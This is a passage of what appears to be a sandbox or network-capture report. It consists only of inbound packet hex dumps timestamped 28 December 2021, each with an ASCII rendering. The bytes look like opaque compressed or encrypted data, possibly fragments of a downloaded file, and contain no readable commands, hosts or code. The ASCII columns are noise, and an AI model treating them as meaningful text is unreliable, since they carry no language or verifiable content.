80 22 ea 74 5f b9 11 8d 0f 81 24 06 50 af e7 8f d8 c3 89 b2 bb 2b 20 44 21 e0 ad 22 03 68 19 c0 97 ed 7b a4 a3 01 4b 69 be 8c 52 05 de 3a 89 8b b7 c2 3f 40 fd 00 2c cc ce b6 b0 85 ec 1c 33 be c2 48 Data Ascii: 5K-u4^>8XQ7o[}tz!-:Ie@'NH{:$zyFMO`y#3a>6Y6IYjc8h=E3d)6,d9jq%G>8`t"t_$P+ D!"h{KiR:?@,3H
2021-12-28 04:19:41 UTC	1079	IN	Data Raw: 83 fa 4c 37 52 f9 2c 3c a8 92 05 8b c3 e2 6a f8 dd d8 d3 de 4e 01 cb ed fb 56 64 80 49 e3 10 76 fe 8d 37 7b 7e 9e 48 19 e8 43 c9 83 ea c1 e0 81 be d6 b1 83 84 79 41 45 f2 c2 af 01 3a 50 de 13 76 03 d7 d9 ad f4 69 81 86 a0 ea 86 3a 07 52 b9 79 0d 3d db e7 66 67 26 ed 43 9a ec 8b 48 87 61 01 4d b6 19 46 11 8b e5 ca f2 d8 de 00 fe fc 78 e0 d2 60 5e 65 90 ec 1a dd 75 f7 a4 b5 0a 61 20 d1 7f f3 93 99 68 c7 59 2d c3 78 8c c2 81 70 89 9b 78 fd a7 a2 26 2c 75 ad d2 8d 40 c7 1e f2 d5 b9 70 c6 76 66 c8 63 36 3e 32 0a 02 1d 2a 49 a6 df 8b 04 77 08 46 94 e3 ff 59 5f 88 e5 06 1a f6 26 59 21 13 ff 32 f2 be 3c 14 af df 38 0a 9c 4e bc 04 7f 98 c2 8d 97 2d d3 a5 b1 77 96 9b bf 14 71 55 16 68 eb 1a 3d 6e 30 99 cb 9d 96 fd 9f 6c 9a 07 ab 30 bd 8f 29 d9 c9 c8 14 3e 46 99 a3 Data Ascii: L7R,<jNVdIv7{~HCyAE:Pvi:Ry=fg&CHaMFx`^eua hY-xpx&,u@pvfc6>2*IwFY_&Y!2<8N-wqUh=n0l0)>F
2021-12-28 04:19:41 UTC	1081	IN	Data Raw: 8d 66 21 32 c2 a1 36 ef b0 4e dc 16 ed 76 13 c5 88 01 4f a7 0b 7e 96 4a 2d 03 93 2f 13 97 bf 66 08 20 c5 69 e0 f9 b5 9a 2a 6d 85 a0 4e 2a 0f b1 b8 4f f7 ca 0c 33 a4 f3 e4 91 89 51 b3 f0 82 59 df 7f 6e ce 10 d3 81 c5 0f f0 8a e7 b1 7c 29 26 33 ae 16 6a b2 73 d9 c3 d2 4e 7a 86 55 99 bb c7 2e ef 71 bc 98 33 79 aa 02 70 84 3a a2 e9 ba 9b b8 13 64 0a 6c c5 f2 59 a5 3b 5e c7 3f e2 40 c7 ab f1 35 19 d6 05 4a 84 6a dd ef b0 85 08 de 10 62 f1 b9 7f 8a 66 e5 d0 d7 c0 a3 15 21 38 db 8c 23 06 da 81 29 f0 4f f7 07 e6 1e 13 0b 83 06 ec d8 31 2d d8 ff d2 d5 9d c2 8e 07 fa f3 a5 0f dd a8 4b b3 32 8b b9 e3 db 57 50 56 3c 36 05 da 9b 06 57 12 23 1a 08 fb 9a 5f e0 a3 6a 1e ac ad ea 7d 61 06 64 ae f2 fd 36 c7 9a 6b 77 43 eb bd 79 e9 48 62 4f 4a 07 20 73 ea 85 4d 38 67 83 7e Data Ascii: f!26NvO~J-/f imNO3QYn\|)&3jsNzU.q3yp:dlY;^?@5Jjbf!8#)O1-K2WPV<6W#_j}ad6kwCyHbOJ sM8g~
2021-12-28 04:19:41 UTC	1082	IN	Data Raw: 70 ba 14 6e 1d 44 2a c7 76 7b 31 82 75 99 7c 16 2a 23 8b e8 f3 4e 7b bd e0 87 7a eb 23 6a 8d 62 a3 49 9f 50 69 dd cf 63 92 48 57 4a 76 18 1d 18 0c fa b4 3d 37 a1 d5 b8 35 cb c5 0c c7 b8 45 7c d6 93 ed c4 26 97 7e b6 7f 2c d6 f6 1c 28 d7 98 e2 6a 58 58 14 73 6d 9a f6 5b 6f 67 84 1a ec 55 76 3d 90 0c f7 95 81 58 99 c4 fd f7 a4 a9 4c 1f 4b ae dc 98 bc 19 91 82 eb 54 63 2c ae 60 e7 2a da 7d fb 34 44 8b 6a 26 20 b3 a7 78 82 35 e0 3e cf 9d ee 8c ad 99 49 fd 22 b7 af f8 f9 61 c7 15 34 50 fb 90 be 18 fd 65 47 a8 fd dc 42 cb a9 53 6c f7 cf cb a8 5f 48 f9 ac 37 7c 86 3b fb ad ed b7 f3 c8 22 c9 c6 8b 42 26 2f 02 0e 83 1c 1f 99 23 38 bc 06 89 c6 a1 ef 2c f3 80 55 c5 4b 25 04 1d ca 31 fd 2d 06 aa ab 80 dd 2f 5f c0 d9 70 18 e0 89 dd 69 05 49 4f c4 e1 e7 3c bb 16 2f 97 Data Ascii: pnDv{1u\|#N{z#jbIPicHWJv=75E\|&~,(jXXsm[ogUv=XLKTc,`*}4Dj& x5>I"a4PeGBSl_H7\|;"B&/#8,UK%1-/_piIO</
2021-12-28 04:19:41 UTC	1083	IN	Data Raw: c2 79 9e 09 fc 57 45 28 29 c5 7d 2f 4f 8c a8 ca 88 11 18 c9 fa 6a c8 66 65 13 09 40 9e 11 a3 c0 57 96 7a 95 5f 10 24 e1 3a 55 12 07 6d cf 8b ad 99 16 23 6c fd b1 48 3a 46 ad cb 95 c5 6d cb 93 45 f1 1b c8 0d a0 44 cb 50 ee ff d9 8b 8f 26 56 c1 27 e4 4a ef ee 2b 6f 9d 4a 08 69 31 57 46 68 52 e0 66 a4 58 4d 21 a6 91 0c ef 5b c2 f4 bc 3b d6 87 93 b7 1a b6 dc 58 86 5b 14 46 b7 20 15 01 b9 df 80 9c 66 6e b7 1f 17 94 74 08 8f 20 01 01 76 1b 01 79 d0 89 3a 26 39 30 a2 4e 9c fe b5 03 73 57 33 58 3e fd 9b 06 84 c9 8a f7 db 40 98 7b d3 01 d6 bc 78 1c 6a 2f 53 7d e9 78 74 69 94 fa b5 55 df 07 e1 9b f8 e0 7b 2c 42 48 d6 d8 fc f3 fa ba d4 1c cd 17 34 73 e0 e8 8c 4c 5f 77 4a 94 4b c7 eb aa c0 01 28 41 be 27 d4 50 ab 3e d8 a0 84 b5 df 00 73 5e 15 b8 4b 0e 87 96 97 1e 47 Data Ascii: yWE()}/Ojfe@Wz_$:Um#lH:FmEDP&V'J+oJi1WFhRfXM![;X[F fnt vy:&90NsW3X>@{xj/S}xtiU{,BH4sL_wJK(A'P>s^KG
2021-12-28 04:19:41 UTC	1084	IN	Data Raw: df 66 51 8d 76 04 cc 6d 9b 6a a6 7e b3 b7 78 c5 6b fa 75 1a 67 d9 7e 16 a8 b0 55 80 8d a8 e6 26 b3 90 f9 c3 7e 99 e1 82 2a 6e 3f 4f bf ec ea ff 0a e9 49 df 54 dd 91 e4 82 38 89 76 4e b6 5c f7 db 07 03 59 b9 fb 7f 92 fc 31 72 94 d5 f1 57 73 51 a9 52 77 9a 3d 71 5c 44 cc cc e5 d9 11 ed 99 45 b1 58 62 7b 3f ed 2a 52 2e 8d 53 d6 bd 2f a1 9e bd 01 c0 e4 db 4a 00 7b 8e a7 44 98 75 75 24 9e 4b b4 b7 d5 bb a9 99 a8 fd 21 bf 70 45 ba c5 86 da 8c 2b 92 f1 0e e2 2b b0 c4 cf 7e 46 c8 5e aa 75 4d 7f 03 94 0e fc 6d c4 e7 85 29 c4 f8 20 00 3c ff 9e c3 3e 1d a6 da 9c 9c 2f fb fd 3e c2 a3 94 77 53 07 87 60 ba 75 91 23 3a 75 d7 a4 5c 41 d3 b4 d3 d8 c7 39 fd 15 fb 88 44 48 f7 bb cd 11 f3 78 31 04 55 61 95 e5 8d b7 ef 48 b2 e3 11 47 5f b5 19 9b dd ab 98 7a be a5 75 f8 35 8c Data Ascii: fQvmj~xkug~U&~n?OIT8vN\Y1rWsQRw=q\DEXb{?R.S/J{Duu$K!pE++~F^uMm) <>/>wS`u#:u\A9DHx1UaHG_zu5
2021-12-28 04:19:41 UTC	1086	IN	Data Raw: f3 32 16 b8 0e 3a 40 70 79 43 da 71 86 37 04 ac 8c cf 28 30 fd e4 52 fb b9 f5 7f 38 57 97 6e a3 67 ac 76 39 ed 9c 47 5e 7c f4 ac 2b c6 15 b6 90 91 e0 d4 6c 48 9c d2 d9 b4 5e c7 3f 87 c5 4f f3 bf dc b4 85 21 5f e6 dc 38 bc 4e e0 a8 94 e0 57 c4 91 1a 11 a1 ce 9e b3 30 34 c4 a8 0a 75 3a f5 fb a2 88 1b 78 73 35 38 85 b5 a8 06 c6 93 3a 71 b9 99 f3 e2 4c a6 ed 7f 56 2c 60 f2 aa 7f c7 82 be 11 af 89 28 be 0b 8e 61 ae 2a a0 9d 64 bc a4 a5 e7 61 be ee 42 b9 06 76 af 0c 2b 18 31 d5 c9 51 6e eb 75 c7 18 06 d3 ea 2c c4 48 8e cc a5 09 62 9a 65 92 92 b5 c3 e3 04 dd bb f6 e4 48 83 4d 9f 34 01 99 54 4f 87 ce 68 66 ee 2d dd 08 78 0a 6c 07 06 60 a7 08 8f 8a 94 86 e6 8d 89 f9 35 e3 38 12 b8 c0 2d 24 b5 1b 43 48 a2 10 b5 c3 fb 67 e7 b6 4f 41 fd 35 62 40 23 83 80 3a 11 2a 22 Data Ascii: 2:@pyCq7(0R8Wngv9G^\|+lH^?O!_8NW04u:xs58:qLV,`(adaBv+1Qnu,HbeHM4TOhf-xl`58-$CHgOA5b@#:"
2021-12-28 04:19:41 UTC	1087	IN	Data Raw: 75 e3 0c 5a 9f 70 34 21 eb 74 4e 8d 01 3b 9a d0 e6 c6 7d d8 80 00 5c 38 7b cc a7 00 d9 b7 20 6d 3d 26 31 fa 75 dd 55 29 ed 51 26 8f ff 86 cd e1 5f 5a 46 41 26 e6 0c 37 e4 02 16 3d fe 01 11 9c e8 95 fa c7 54 26 5d 4f b1 da 40 aa 3e c5 89 a9 13 ff 9f c0 02 bb 4c 4f ec 06 4d 04 39 64 56 4a 3d 34 9f 21 4d f6 96 e8 57 9e 03 0c f6 d8 81 ce 9e af bb c6 f2 0a 94 d5 53 e0 56 8f cf 5a 7a 49 a6 83 d2 7b e3 ac 23 5e 86 c5 4e ce cf c1 c5 06 71 09 9d 46 8c 57 c8 0e 15 45 db a7 18 61 d5 fb cb 87 17 34 1f 31 2e 43 52 ec 4c b6 46 92 9d 2d 9a 92 e6 75 3f 9f e4 94 de 1a f1 c3 ed 20 e3 b8 59 4b a5 90 4b 9f 6e ed 45 b2 54 80 5d 50 20 33 f6 09 4c 95 e8 20 eb bd df b7 d7 09 23 0c 69 1f 29 4f c9 9c 45 72 78 b8 b3 67 27 06 7d 9e 22 c5 ad a3 1b 57 e3 67 77 a0 0b e7 11 9e 6c e6 db Data Ascii: uZp4!tN;}\8{ m=&1uU)Q&_ZFA&7=T&]O@>LOM9dVJ=4!MWSVZzI{#^NqFWEa41.CRLF-u? YKKnET]P 3L #i)OErxg'}"Wgwl
2021-12-28 04:19:41 UTC	1088	IN	Data Raw: 00 35 6c d5 df 94 9e 6e 9a 1c 2e 96 f8 9d bc d9 14 f5 62 84 c7 14 88 ce 45 fd ca 77 fe 5e 5c 6e f2 7b 34 2e 08 22 34 09 fc a5 63 52 f2 d9 7f ff b2 cc 0e ee 4b 8e ab aa 51 5e a4 b7 e8 23 d9 9c ae 5b ca f1 a6 3d e2 a0 42 c4 d4 dd 13 a4 33 06 57 b4 59 df e7 ff c2 4a 0b c0 6c 70 5d 8f 17 bf fe e7 b1 2a 56 34 50 f6 9a 59 15 2f b8 aa 2d 2b 8e 17 0d 41 40 de 76 dc 75 55 a8 34 41 12 b7 d1 0d be d0 51 43 c4 8e 5d dd 0f 16 04 b8 52 8c d3 16 75 73 d0 4d bf 0c ff 9d 4b 81 31 53 b1 a8 0f 9b 48 ae 60 57 6c 48 3d 6f b8 4b cb 82 72 5a fd 38 bd 8c e8 01 22 cb 44 73 81 cb d4 18 b9 da c6 be 70 05 eb d8 77 68 ab 55 15 13 3f 79 70 fc 4d 73 b0 4d 11 80 6d 93 c7 29 af 0c 3d a3 db d7 f9 31 67 f1 71 7e 90 27 6c f3 f2 0b c6 88 91 f1 50 bc 48 fc 04 8a 38 01 92 5b 90 f2 00 f9 a0 00 Data Ascii: 5ln.bEw^\n{4."4cRKQ^#[=B3WYJlp]*V4PY/-+A@vuU4AQC]RusMK1SH`WlH=oKrZ8"DspwhU?ypMsMm)=1gq~'lPH8[
2021-12-28 04:19:41 UTC	1090	IN	Data Raw: df 65 eb 4a c8 a5 74 2f c5 7b b1 16 0c ab 1c e5 2b 50 36 0a 4f a8 32 39 e3 f5 8e bf 80 45 fe 4b b5 1e 6e 8a 6e 66 97 3c 5f 02 c2 10 79 3c 64 1c c8 30 15 29 d9 b3 73 95 43 02 de e7 91 92 a9 2e a9 d0 6e 20 70 c1 b1 44 a4 a2 1f e9 48 f1 8c d4 19 cb 31 dd cc 7c 11 ae f4 1c f7 5b 5a 23 80 9c 79 ee bd 92 00 89 72 c9 cc e8 eb ae 38 23 0b bb 30 f4 49 04 d8 2b 92 c9 a9 23 c4 ef 8b be 50 a3 ae a8 81 34 94 b6 82 ef 3e e6 6a b6 46 66 30 e4 cb 45 b5 28 cc 50 47 ed 8b 54 20 a5 54 86 1e 39 a9 e4 a2 3e d1 d3 7b c5 45 46 7c 4f 25 a2 66 65 bb aa fd ce bb de 08 e6 ad 01 d6 74 03 75 ed 8a be 6d 4d 16 e1 5c 17 f4 15 a6 09 7c 14 5a 44 e9 12 13 fe 6d 7c 80 5e 60 2e cd af 2f 81 58 c3 4c 46 8c 75 01 e7 3f 5f 33 a0 0d 55 9e 1f 6e f8 2e d5 2c 62 f6 63 21 18 f9 b3 ac a6 a9 c7 00 35 Data Ascii: eJt/{+P6O29EKnnf<_y<d0)sC.n pDH1\|[Z#yr8#0I+#P4>jFf0E(PGT T9>{EF\|O%fetumM\\|ZDm\|^`./XLFu?_3Un.,bc!5
2021-12-28 04:19:41 UTC	1091	IN	Data Raw: a5 1e 5f 48 18 a1 b3 01 9b d5 46 a9 78 fb c7 6c b8 33 38 33 5d 13 91 19 5f 70 ac 22 d0 5a eb 28 87 58 6a 5c 69 f4 37 da 58 9e c4 c9 b3 12 dc 4b 62 e6 ac 56 b8 60 57 f4 94 f3 f1 98 9f 5d 90 9b 2a 46 6d 1a 6e 1a b1 76 2c 74 16 5c be 0b 7a 64 4a 9b 39 04 ca 90 df 64 47 b8 8f 07 a7 87 19 e3 2f 3c 0f ef 85 dd aa ac b0 ee 43 83 99 8e 11 09 d7 6b b3 b6 51 c2 6e e3 75 6a 35 9e 15 56 f0 dd be 28 dd df ec 21 d9 84 0d ec f6 cf 25 fc de 30 fb 5a 07 9a 30 11 4c 34 52 4c 9b b9 2e 54 b3 9d 3a 06 78 a5 97 3f 5f 53 8d 3c 84 e9 01 51 a2 4d a6 28 ea c2 65 08 44 0e 8c 1c 29 d7 11 6b 73 80 de bb e8 f0 59 d1 fc b7 5f 89 77 60 47 5b 80 41 1e 2c bc 64 6b b0 08 97 20 2b e8 8e 60 1b f0 41 ed 1d 5c 00 dc ee 4c 8f f2 d7 80 30 dc bb 91 f7 ac 57 e6 2f f2 f2 4b 2a a6 33 96 c6 f0 7c 12 Data Ascii: _HFxl383]_p"Z(Xj\i7XKbV`W]Fmnv,t\zdJ9dG/<CkQnuj5V(!%0Z0L4RL.T:x?_S<QM(eD)ksY_w`G[A,dk +`A\L0W/K3\|
2021-12-28 04:19:41 UTC	1092	IN	Data Raw: 69 7c b8 2e c4 71 bc 15 22 dd 20 32 b4 84 6a 1d fa b2 7d 18 fd 31 0c 05 7a 05 b1 ab 6a 22 cd 87 91 61 f0 03 20 66 ca 09 96 9e c9 73 83 10 8e 98 3f db 30 e4 56 2e 3e 53 40 19 b2 e3 de 71 01 2e ec 0e 8e 94 26 f4 f9 65 02 6e 14 97 03 72 0d df 7e 74 35 5e ab 7d e6 62 99 64 42 a8 dd 7d 2e ac 5e f0 47 57 a2 03 1b c2 56 c7 42 dd 00 57 da 46 46 a4 ae ec 91 69 7d 44 f9 b3 4f 76 72 ee c1 7f be 56 de f9 40 22 1d d9 e8 6e 44 4a be 3b cf cf 2c 38 58 ce 6e 52 4a e5 95 56 e0 f8 0d af 3b 93 cc 07 d2 58 d9 4e 27 ea a4 81 af f4 ff c6 76 0f d7 bf 16 18 5c b1 88 02 91 39 1f 58 b2 dd 2f f0 36 c9 9d b3 44 c4 8c 57 cd 4a a5 d6 aa de 56 07 41 10 23 b4 c1 bf 01 82 34 13 37 b8 0e bb c6 82 44 14 99 ce 3e 02 9a 54 6e 1c 87 44 56 e9 14 3f 14 e3 55 f8 20 11 f9 4e d1 9a cf 24 48 04 13 Data Ascii: i\|.q" 2j}1zj"a fs?0V.>S@q.&enr~t5^}bdB}.^GWVBWFFi}DOvrV@"nDJ;,8XnRJV;XN'v\9X/6DWJVA#47D>TnDV?U N$H
2021-12-28 04:19:41 UTC	1094	IN	Data Raw: 9a ed fb 9e 00 25 eb df fa 2e e9 bd 76 96 b8 2b 64 cf b6 32 00 ff 1d 7f a6 cc a1 51 a3 21 12 d1 77 1a 02 50 a8 8b e0 c7 0b fd f1 a6 e8 8f a4 fa 0a 95 cd b1 cf ef 45 ef fd d9 19 14 1c f9 58 55 c5 04 08 05 77 89 a7 37 69 00 9e aa 1e 0f d1 2c d4 2c ef 03 9f 1c ad 1d 31 4c ab af bf f8 17 74 c9 ec 3f ad 3d 35 97 06 b6 69 38 63 4b 0c a3 fa 7b 4a 6b 39 b6 bf b4 db f2 dd 93 71 06 c8 56 83 71 c6 f8 cf 8d fb 2b db af c2 d5 50 af ec 29 be f9 fa 3b a7 7c b5 4b 33 c5 c0 cb 94 8c 7b 87 06 2b cb 2c db f3 8b c6 2e 74 25 75 b5 4c 4f 70 99 41 5a 01 31 f6 ae 50 6c 18 7f 87 e3 2f 7e 0c be 63 74 3e 97 c2 1c 3c 42 e7 88 0e 7b 0f cd cc b8 ff 60 85 30 a5 0b 33 e7 54 9c 6b 27 c8 65 37 c8 cb 24 db bf 50 7e 21 02 9e b2 00 4d 36 5a d7 44 d5 91 3c a2 94 ae ad 15 fd bb eb 21 4f cd c7 Data Ascii: %.v+d2Q!wPEXUw7i,,1Lt?=5i8cK{Jk9qVq+P);\|K3{+,.t%uLOpAZ1Pl/~ct><B{`03Tk'e7$P~!M6ZD<!O
2021-12-28 04:19:41 UTC	1095	IN	Data Raw: a7 f8 ee e9 84 a7 5d 21 3a c0 d1 14 fa c4 8d a2 f5 ad da 7c 73 75 29 e0 3c 99 20 3a 28 a7 9c c0 02 49 23 fa 3b 03 5f c1 00 6e 07 a4 ff fa 6b 68 5d c7 9c 0f 2a 03 79 57 1f d1 ff 09 c2 5e 19 30 8c 2e 0f a3 fc 4a c4 65 bd 36 9f a5 14 fe cb a1 1a 72 4e 64 68 0b 74 33 ed b2 d0 0b 2e 02 90 da c4 67 e9 2c ee 4b eb 24 e4 26 95 ec b2 f4 14 e7 15 43 32 43 9e 00 be c7 42 ce b6 56 0b ed 94 3f 5d 24 8f 21 4b 9b 18 83 d1 0a 3f 80 fa fc 26 b8 67 c1 2e 2b 15 56 f8 89 5d 8e 24 82 98 bd cf 7c db 8d 0a f3 2e 30 27 38 1e fc fb e8 d4 a3 83 64 19 62 b1 26 c7 f9 f4 17 b6 fc e6 0e 40 53 bc f4 f4 f6 cf 09 9d e0 d4 f8 0c 3e cb bc f6 65 66 b2 63 a0 42 8c 66 92 45 ea 1f 71 36 c8 48 33 af 72 36 00 bd 0a 7d 1b 4d 2f 5a 93 f5 5c 7c 11 53 04 49 fe c9 8f 15 2c a8 0c ac 9e 37 72 10 f8 75 Data Ascii: ]!:\|su)< :(I#;_nkh]*yW^0.Je6rNdht3.g,K$&C2CBV?]$!K?&g.+V]$\|.0'8db&@S>efcBfEq6H3r6}M/Z\\|SI,7ru
2021-12-28 04:19:41 UTC	1096	IN	Data Raw: d5 15 84 55 bf d6 4e 46 89 22 aa 98 b8 bd c0 3a 0f da ed b9 09 a3 c7 19 b1 f6 eb a8 02 1c 6d e3 97 7b a3 a7 22 9d 11 06 86 02 45 f4 a1 e6 a0 90 df 46 3a a4 c2 fd 72 0a 95 78 9f e3 06 ea bd 2d d9 c9 53 bd 20 47 90 30 2d ba 76 12 54 1d a3 ae d5 85 3e 11 e7 44 c8 88 b8 3e 1f bd a1 26 91 f0 e4 d8 bc 16 c9 31 20 4a ef 8d d6 d2 b6 6f 8e 36 02 69 28 61 88 11 3c 3d 9a 28 2a 10 9e 17 a8 df 81 90 e2 4b 1d d3 11 33 d4 82 60 3c 30 16 bf 2a d8 73 4e 77 fd 32 e3 7f 46 a5 c1 b8 b5 51 81 67 87 77 1c 23 c8 76 04 19 19 21 b2 10 8c 2d ec f1 4a 9c ff c4 99 d8 9f c7 8b 01 a2 95 36 1f bf 7b 8a dc 50 df fa f1 30 e7 c5 72 d4 7a 8c dd 5d 82 4d 90 bc 70 3e e7 6c 3b b5 a3 44 71 b4 f5 3a 81 30 bb 74 22 9c 9c e9 0e 7f bd 9d 43 ad 37 c2 08 2b 21 61 63 b2 be e6 f5 83 7a e9 e3 6b b0 0e Data Ascii: UNF":m{"EF:rx-S G0-vT>D>&1 Jo6i(a<=(K3`<0sNw2FQgw#v!-J6{P0rz]Mp>l;Dq:0t"C7+!aczk
2021-12-28 04:19:41 UTC	1098	IN	Data Raw: 77 da b4 a0 27 d7 71 9d d2 f4 b1 43 78 5d 90 1f f0 22 f0 92 fa 90 9d ce 21 70 99 7a 79 21 02 c9 47 9b 18 b2 01 b1 58 7b fb 1d 9b 49 27 79 02 5b 4e 7c 8f ea e6 10 f3 d4 3e bc 73 00 8d 02 0d be f0 0e 9b 43 f0 b3 b5 2a e6 ea e0 ff d1 12 a1 80 57 55 b9 95 03 29 6f cf 8e 2a 4d f3 0d 32 70 1b 17 34 a5 25 c9 c3 8b 71 43 65 16 f5 e3 a8 0d 8b a6 af 87 68 24 f7 a3 f7 d3 32 37 e4 56 db 8f 7a 94 ef 39 9e dc 44 2b c6 5d e5 a1 3e be 77 61 b8 9a d3 c8 60 73 8a 86 aa 1f f0 cf 49 8b 40 fa 9c 99 35 71 f2 eb 71 22 18 df 6c 3b 53 c7 78 89 60 86 0f 3e a4 7e 78 cc 4b a9 e0 23 38 92 35 de 1e 92 72 25 5c 34 6b fc 9e 35 6a f9 3e 87 5c ee c0 96 06 5e bb e0 04 fa 97 b0 b6 e8 e6 a3 0d 74 2b 08 6e 66 a2 fc d5 5f 9e 90 fd 47 28 18 be 20 ce ee d3 ef 66 04 66 d3 6b 99 cf 5b 98 4e 67 1a Data Ascii: w'qCx]"!pzy!GX{I'y[N\|>sCWU)oM2p4%qCeh$27Vz9D+]>wa`sI@5qq"l;Sx`>~xK#85r%\4k5j>\^t+nf_G( ffk[Ng
2021-12-28 04:19:41 UTC	1099	IN	Data Raw: f3 07 b7 a4 93 46 ea 8c e7 14 83 07 3a 35 ec 9d 3e ad ff 14 98 8a 77 5a 1d e2 c4 86 e0 3e ff 65 26 15 69 2f 59 62 28 81 9c 52 52 8a 4a 07 36 a3 35 f2 e1 6f 83 0c 92 7a cc ce 3e 7b d0 27 39 21 39 7d e7 da 47 33 d7 72 2b 78 e5 a1 89 c5 fa 35 0e bd 01 bf 6c 88 c7 8f 48 31 0d c7 67 b4 89 12 37 5d d0 04 d0 8c 3c 65 d4 00 4d 82 fd 2b aa d1 79 21 0e 7b ca b1 32 93 a3 a9 2c cb 84 e6 e9 2c ff 9f 13 0a ae 46 e9 8d 12 56 8e a5 ec 62 09 db 60 92 21 af d5 c4 ba 8b a4 73 64 40 4d 9e 03 2e 55 fb ce 13 55 4f c4 0e 69 a0 4b db f3 6a 6f b1 48 40 6c 4c 9a 05 57 3a 8e dc 3f c0 25 53 61 fa 1d 4e c0 e6 1a 0d 05 c0 d3 7a f3 51 ab aa c7 8d ae ba df 59 7f b3 4c e2 45 d1 e9 dc 0c e9 5b e6 08 2d 08 c9 89 62 53 83 18 17 87 2b 65 2e 50 72 37 3b 66 7d 9a 19 37 b5 ef 26 5a f0 09 81 6b Data Ascii: F:5>wZ>e&i/Yb(RRJ65oz>{'9!9}G3r+x5lH1g7]<eM+y!{2,,FVb`!sd@M.UUOiKjoH@lLW:?%SaNzQYLE[-bS+e.Pr7;f}7&Zk
2021-12-28 04:19:41 UTC	1100	IN	Data Raw: 6b 88 40 52 73 d5 de 8e eb c3 6f 16 67 c8 92 c2 27 57 61 84 02 80 40 24 01 51 0d 3d c1 be ca 9c 62 9f 43 c3 59 e6 42 b5 82 39 a8 41 3f c0 60 d9 65 69 1a 3d 38 df 20 5f 18 a2 6b 62 52 a4 c1 91 30 9f 4d 22 ed 83 f8 9b bd 9c 40 65 a2 20 1d b8 f3 af eb 5e dd 79 6f 56 3f eb 91 f8 5e e8 f9 0c 65 32 0d e9 6c b3 68 cc 1a 34 40 c1 9e dd e8 93 a0 f8 f6 cf 39 b6 b3 da 8a 39 d7 f7 1d 72 23 03 d4 1b 2e 6b ea 3b d5 84 12 14 27 f7 62 3b 15 bc 2b c0 bf a1 6d 3c 21 13 b0 22 78 a5 64 20 e8 15 e5 ca fc 11 ef 16 c8 e6 b2 60 28 2a 71 6d 48 a9 8e 7b bd 08 76 57 30 0e 6c 3a ec f4 26 d8 5f 0b b7 cf 39 04 78 34 d3 d3 74 95 4b f4 6a d3 51 be 12 e7 ff b3 30 11 e8 a5 b4 c0 97 b3 8b 21 78 35 99 3f 6c e5 b5 44 5b 29 17 ea 3a 88 a6 7e 48 9b c1 9b fe ae 08 eb 43 a3 a3 43 f6 e7 1d a1 e1 Data Ascii: k@Rsog'Wa@$Q=bCYB9A?`ei=8 _kbR0M"@e ^yoV?^e2lh4@99r#.k;'b;+m<!"xd `(*qmH{vW0l:&_9x4tKjQ0!x5?lD[):~HCC
2021-12-28 04:19:41 UTC	1102	IN	Data Raw: 58 ec d0 94 2b ae 3f 32 92 57 39 bc b1 51 c4 d1 77 2d 53 fc 48 a8 17 36 02 9a 5b 59 df c4 a6 74 e7 96 43 6a 4d 08 c1 29 0e f1 13 01 7f 6c f2 52 f0 1e 53 e7 dd 89 29 18 5d d5 ac 7a 6b 63 97 d5 46 77 c3 07 b5 19 c3 f5 5e 81 be 90 1b 9c 16 31 f6 48 fe 87 b6 ae 0a 3a 0f 31 d8 b4 86 31 c3 4d bf 84 27 2b ab a5 57 e1 41 de 18 6b 0d 53 a8 33 4c fc bf 9a 2f 4c 44 17 47 5c 87 8e 69 32 9c 41 63 a3 3c ba d5 4f 2a 61 69 26 3e 9e f6 21 16 c6 7c 7d 78 86 0c bc a8 ec b6 5f 5a f1 98 63 63 9c 2d ad 61 d6 d2 2c a8 5b 6f 51 9d 16 4c ce 01 d3 5d c4 d6 f4 fc 2e 2e 53 7d b2 6d 45 62 0b af b1 10 66 37 53 c0 c9 c9 85 a5 83 b5 39 bd 08 cd d9 f1 81 ef eb ab 2b c9 a3 60 d9 ef a3 37 c4 f6 1d c3 d4 c5 ad af 6e d7 84 2e 75 a6 a4 76 e8 21 ff da e4 5f 90 57 c8 46 61 1e 17 7e 1f a2 81 c7 Data Ascii: X+?2W9Qw-SH6[YtCjM)lRS)]zkcFw^1H:11M'+WAkS3L/LDG\i2Ac<O*ai&>!\|}x_Zcc-a,[oQL]..S}mEbf7S9+`7n.uv!_WFa~
2021-12-28 04:19:41 UTC	1103	IN	Data Raw: 81 cb eb ce 30 78 01 54 c3 d4 0d ff 63 95 18 22 75 10 c4 7a a8 87 ca d9 35 50 96 8d 1b 72 98 92 e9 ff 70 f4 a7 76 74 3d ac 63 51 d1 c5 cf c2 4d a9 f0 85 2d 0e 65 df 4a 26 6a 38 3e b8 74 c7 01 45 04 e2 e8 7d 5f 21 dc dc c7 4a 88 76 c7 1f 4f ba 88 d1 e9 3d 55 eb 79 9e 75 7b 43 d0 6c 58 57 5a 47 35 d5 3c 0d ca e7 81 4f 8c 56 87 ad 14 8f d5 f5 8c b9 9b 2c 77 c1 e1 49 28 0a 54 e5 dc a6 cb cd b4 f1 0c ec de 6e 30 d7 f3 a0 6a 0c 11 c6 b7 9a 3a 5d 7c e2 ba 01 2e 4d 1a 4c 35 84 2c 1e 1e fa 6e 3c 0c 34 3c 0a e4 85 47 99 82 84 df 45 9d 0f dc 4b fa 34 e8 7a 05 8b 5c 2c 3e f5 51 f8 a1 50 71 19 df 7c e0 28 06 33 d2 61 e8 19 41 ed b7 e2 50 cc c8 25 f2 8a f8 17 ca fc fc d9 6f ca 4c a1 bc 49 d6 6c a2 cc 7b 2e 69 ff 15 0a 89 d3 ff e2 a1 63 c7 a7 53 41 ed 6c 67 1a 13 f8 06 Data Ascii: 0xTc"uz5Prpvt=cQM-eJ&j8>tE}_!JvO=Uyu{ClXWZG5<OV,wI(Tn0j:]\|.ML5,n<4<GEK4z\,>QPq\|(3aAP%oLIl{.icSAlg
